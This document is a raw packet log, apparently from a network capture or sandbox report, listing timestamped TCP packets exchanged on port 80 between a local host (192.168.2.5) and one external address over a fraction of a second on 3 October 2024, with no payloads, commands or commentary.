Oct 3, 2024 23:17:11.033981085 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.033983946 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.033999920 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.034003019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.034014940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.034018993 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.034030914 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.034038067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.034046888 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.034046888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.034073114 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.034080029 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.046722889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.046763897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.046775103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.046777964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.046801090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.046812057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.046880960 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.046895981 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.046909094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.046927929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.046940088 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.047032118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.047048092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.047063112 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.047085047 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.047101021 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.047293901 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.047307968 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.047322989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.047337055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.047342062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.047353029 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.047363997 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.047369003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.047389984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.047406912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.047420979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.047458887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.088159084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.088175058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.088191032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.088211060 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.088227034 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.088236094 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.088329077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.088342905 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.088357925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.088375092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.088392019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.088485956 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.088500977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.088524103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.088537931 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.088540077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.088557005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.088562012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.088578939 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.088582039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.088594913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.088615894 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.088809967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.088826895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.088857889 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.088869095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.088959932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.088988066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.089004040 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.089011908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.089025021 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.089027882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.089046001 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.089047909 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.089059114 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.089061975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.089077950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.089080095 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.089095116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.089099884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.089107990 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.089129925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.105000019 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.105016947 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.105031013 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.105043888 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.105055094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.105063915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.105071068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.105077982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.105088949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.105098009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.105104923 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.105115891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.105119944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.105129004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.105148077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.105158091 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.105307102 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.105353117 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.105396032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.105411053 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.105437994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.105453014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.105465889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.105482101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.105504036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.105510950 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.105515003 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.105556011 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.105571985 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.105581045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.105593920 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.105618000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.105952978 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.105967045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.105982065 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.105995893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.105997086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106012106 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.106013060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106034040 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.106045961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106060982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.106061935 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106085062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.106097937 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.106308937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106324911 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106353045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.106364012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106365919 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.106380939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106396914 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106403112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.106410980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.106412888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106429100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106443882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106493950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.106493950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.106493950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.106493950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.106833935 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106849909 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106865883 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106882095 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106897116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106898069 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.106898069 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.106919050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.106919050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.106937885 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106939077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.106955051 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106971025 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106978893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106987000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.106995106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.107002974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.107006073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.107072115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.108850002 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.108891964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.108906031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.108922005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.108943939 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.108953953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.109039068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.109055042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.109081984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.109091997 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.109184980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.109200001 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.109214067 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.109224081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.109244108 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.109245062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.109251976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.109262943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.109286070 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.109307051 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.109508991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.109524965 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.109551907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.109564066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.109654903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.109671116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.109685898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.109698057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.109700918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.109715939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.109715939 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.109721899 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.109740019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.109750986 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.109934092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.109950066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.109965086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.109972954 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.109981060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.109983921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.109997034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.110002995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.110011101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.110033035 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.124010086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.124032974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.124049902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.124066114 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.124078035 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.124089956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.124106884 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.124124050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.124140024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.124146938 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.124155045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.124157906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.124177933 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.124185085 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.124336004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.124352932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.124368906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.124375105 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.124386072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.124387980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.124398947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.124419928 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.124603033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.124619007 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.124633074 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.124640942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.124650002 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.124660969 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.124674082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.124691963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.137553930 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.137706995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.137711048 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.137725115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.137749910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.137751102 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.137759924 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.137767076 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.137782097 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.137783051 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.137799978 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.137804985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.137818098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.137820959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.137836933 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.137855053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.138046980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.138062000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.138077021 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.138093948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.138094902 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.138115883 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.138115883 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.138144970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.138274908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.138290882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.138325930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.138336897 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.178965092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.178989887 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.179006100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.179027081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.179044008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.179061890 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.179079056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.179095984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.179114103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.179116964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.179116964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.179136992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.179152012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.179230928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.179248095 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.179263115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.179279089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.179292917 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.179292917 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.179301023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.179313898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.179327965 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.179356098 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.179681063 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.179714918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.179732084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.179733038 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.179744005 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.179749012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.179764986 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.179764986 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.179784060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.179785013 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.179795980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.179800987 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.179816961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.179816961 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.179833889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.179835081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.179847956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.179867029 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.195689917 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.195710897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.195734978 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.195746899 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.195751905 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.195768118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.195772886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.195785046 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.195796013 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.195801020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.195815086 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.195828915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.195837975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.196249008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.196273088 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.196290970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.196300030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.196307898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.196325064 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.196325064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.196331978 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.196343899 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.196346998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.196362019 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.196366072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.196377039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.196379900 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.196394920 CEST	49710	80	192.168.2.5	193.233.112.44
